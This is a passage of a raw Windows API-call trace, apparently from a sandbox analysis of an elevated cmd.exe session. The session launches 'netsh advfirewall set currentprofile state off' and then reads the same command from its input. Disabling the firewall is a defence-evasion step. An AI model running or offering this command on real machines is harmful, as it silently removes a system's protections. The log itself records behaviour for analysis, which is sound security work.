_String2="USERPRO", _MaxCount=0x7) returned -18 [0198.363] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0198.363] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0198.363] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0198.363] GetProcessHeap () returned 0x410000 [0198.363] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x424640 | out: hHeap=0x410000) returned 1 [0198.364] GetProcessHeap () returned 0x410000 [0198.364] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x12) returned 0x425c80 [0198.364] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\netsh.exe", lpCommandLine="netsh advfirewall set currentprofile state off", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x24ef70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="netsh advfirewall set currentprofile state off", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x24ef20 | out: lpCommandLine="netsh advfirewall set currentprofile state off", lpProcessInformation=0x24ef20*(hProcess=0x54, hThread=0x50, dwProcessId=0x60c, dwThreadId=0x6a8)) returned 1 [0198.386] CloseHandle (hObject=0x50) returned 1 [0198.386] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0198.386] GetProcessHeap () returned 0x410000 [0198.386] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x428a60 | out: hHeap=0x410000) returned 1 [0198.386] GetEnvironmentStringsW () returned 0x428a60* [0198.386] GetProcessHeap () returned 0x410000 [0198.386] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xac4) returned 0x42b2a0 [0198.387] FreeEnvironmentStringsW (penv=0x428a60) returned 1 [0198.387] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77a90000 [0198.387] GetProcAddress (hModule=0x77a90000, lpProcName="NtQueryInformationProcess") returned 0x77ae14a0 [0198.387] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x24e828, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x24e828, ReturnLength=0x0) returned 0x0 [0198.387] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffde000, lpBuffer=0x24e860, nSize=0x380, lpNumberOfBytesRead=0x24e820 | out: lpBuffer=0x24e860*, lpNumberOfBytesRead=0x24e820*=0x380) returned 1 [0198.387] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0250.445] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x24ee68 | out: lpExitCode=0x24ee68*=0x0) returned 1 [0250.446] CloseHandle (hObject=0x54) returned 1 [0250.446] _vsnwprintf (in: _Buffer=0x24f0d8, _BufferCount=0x13, _Format="%08X", _ArgList=0x24ee78 | out: _Buffer="00000000") returned 8 [0250.446] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0250.446] GetProcessHeap () returned 0x410000 [0250.446] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42b2a0 | out: hHeap=0x410000) returned 1 [0250.446] GetEnvironmentStringsW () returned 0x42e870* [0250.446] GetProcessHeap () returned 0x410000 [0250.446] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xaea) returned 0x42f370 [0250.446] FreeEnvironmentStringsW (penv=0x42e870) returned 1 [0250.446] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0250.446] GetProcessHeap () returned 0x410000 [0250.446] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42f370 | out: hHeap=0x410000) returned 1 [0250.446] GetEnvironmentStringsW () returned 0x42e870* [0250.446] GetProcessHeap () returned 0x410000 [0250.446] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xaea) returned 0x42f370 [0250.446] FreeEnvironmentStringsW (penv=0x42e870) returned 1 [0250.446] GetProcessHeap () returned 0x410000 [0250.446] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x425c80 | out: hHeap=0x410000) returned 1 [0250.447] DeleteProcThreadAttributeList (in: lpAttributeList=0x24ef38 | out: lpAttributeList=0x24ef38) [0250.447] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0250.448] _get_osfhandle (_FileHandle=1) returned 0xcc [0250.448] SetConsoleMode (hConsoleHandle=0xcc, dwMode=0x0) returned 0 [0250.448] _get_osfhandle (_FileHandle=1) returned 0xcc [0250.448] GetConsoleMode (in: hConsoleHandle=0xcc, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0250.448] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.448] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0250.448] GetConsoleOutputCP () returned 0x1b5 [0250.448] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0250.448] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0250.449] GetProcessHeap () returned 0x410000 [0250.449] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x425bf0 | out: hHeap=0x410000) returned 1 [0250.449] GetProcessHeap () returned 0x410000 [0250.449] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x429cf0 | out: hHeap=0x410000) returned 1 [0250.449] GetProcessHeap () returned 0x410000 [0250.449] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x429be0 | out: hHeap=0x410000) returned 1 [0250.449] GetProcessHeap () returned 0x410000 [0250.449] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42b240 | out: hHeap=0x410000) returned 1 [0250.449] GetProcessHeap () returned 0x410000 [0250.449] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x425b70 | out: hHeap=0x410000) returned 1 [0250.449] GetProcessHeap () returned 0x410000 [0250.449] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42aa10 | out: hHeap=0x410000) returned 1 [0250.449] GetProcessHeap () returned 0x410000 [0250.449] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x429880 | out: hHeap=0x410000) returned 1 [0250.449] GetProcessHeap () returned 0x410000 [0250.449] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x424610 | out: hHeap=0x410000) returned 1 [0250.449] GetProcessHeap () returned 0x410000 [0250.449] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x4297c0 | out: hHeap=0x410000) returned 1 [0250.449] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x24f398 | out: _Buffer="\r\n") returned 2 [0250.449] _get_osfhandle (_FileHandle=1) returned 0xcc [0250.449] GetFileType (hFile=0xcc) returned 0x3 [0250.449] _get_osfhandle (_FileHandle=1) returned 0xcc [0250.449] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0250.449] WriteFile (in: hFile=0xcc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x24f368, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x24f368*=0x2, lpOverlapped=0x0) returned 1 [0250.449] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0250.449] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0250.450] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x24f3a8 | out: _Buffer="C:\\Windows\\system32") returned 19 [0250.450] _vsnwprintf (in: _Buffer=0x49f8eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x24f3a8 | out: _Buffer=">") returned 1 [0250.450] _get_osfhandle (_FileHandle=1) returned 0xcc [0250.450] GetFileType (hFile=0xcc) returned 0x3 [0250.450] _get_osfhandle (_FileHandle=1) returned 0xcc [0250.450] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0250.450] WriteFile (in: hFile=0xcc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x24f398, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x24f398*=0x14, lpOverlapped=0x0) returned 1 [0250.450] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.450] GetFileType (hFile=0xc0) returned 0x3 [0250.450] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.450] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.450] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.450] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="netsh advfirewall set currentprofile state off\n") returned 1 [0250.450] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.450] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.450] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.450] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="etsh advfirewall set currentprofile state off\n") returned 1 [0250.451] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.451] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.451] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.451] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr="tsh advfirewall set currentprofile state off\n") returned 1 [0250.451] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.451] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.451] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.451] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="sh advfirewall set currentprofile state off\n") returned 1 [0250.451] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.451] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.451] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.451] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="h advfirewall set currentprofile state off\n") returned 1 [0250.451] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.451] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.451] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.451] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr=" advfirewall set currentprofile state off\n") returned 1 [0250.451] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.451] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.451] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.451] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="fdvfirewall set currentprofile state off\n") returned 1 [0250.451] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.451] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.451] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.451] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="ivfirewall set currentprofile state off\n") returned 1 [0250.451] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.451] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.452] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.452] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="rfirewall set currentprofile state off\n") returned 1 [0250.452] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.452] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.452] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.452] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr="eirewall set currentprofile state off\n") returned 1 [0250.452] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.452] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.452] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.452] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="wrewall set currentprofile state off\n") returned 1 [0250.452] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.452] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.452] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.452] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="aewall set currentprofile state off\n") returned 1 [0250.452] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.452] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.452] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.452] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="lwall set currentprofile state off\n") returned 1 [0250.452] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.452] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.452] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.452] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="lall set currentprofile state off\n") returned 1 [0250.452] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.452] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.452] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.452] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr=" ll set currentprofile state off\n") returned 1 [0250.453] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.453] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.453] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.453] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="sl set currentprofile state off\n") returned 1 [0250.453] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.453] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.453] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.453] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="e set currentprofile state off\n") returned 1 [0250.453] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.453] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.453] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.453] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="tset currentprofile state off\n") returned 1 [0250.453] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.453] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.453] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.453] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr=" et currentprofile state off\n") returned 1 [0250.453] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.453] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.453] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.453] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="ot currentprofile state off\n") returned 1 [0250.453] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.453] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.453] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.453] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="p currentprofile state off\n") returned 1 [0250.453] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.453] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.454] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.454] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="mcurrentprofile state off\n") returned 1 [0250.454] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.454] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.454] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.454] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="ourrentprofile state off\n") returned 1 [0250.454] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.454] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.454] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.454] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="drrentprofile state off\n") returned 1 [0250.454] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.454] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.454] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0250.454] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="erentprofile state off\n") returned 1 [0250.454] _get_osfhandle (_FileHandle=0) returned 0xc0 [0250.454] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 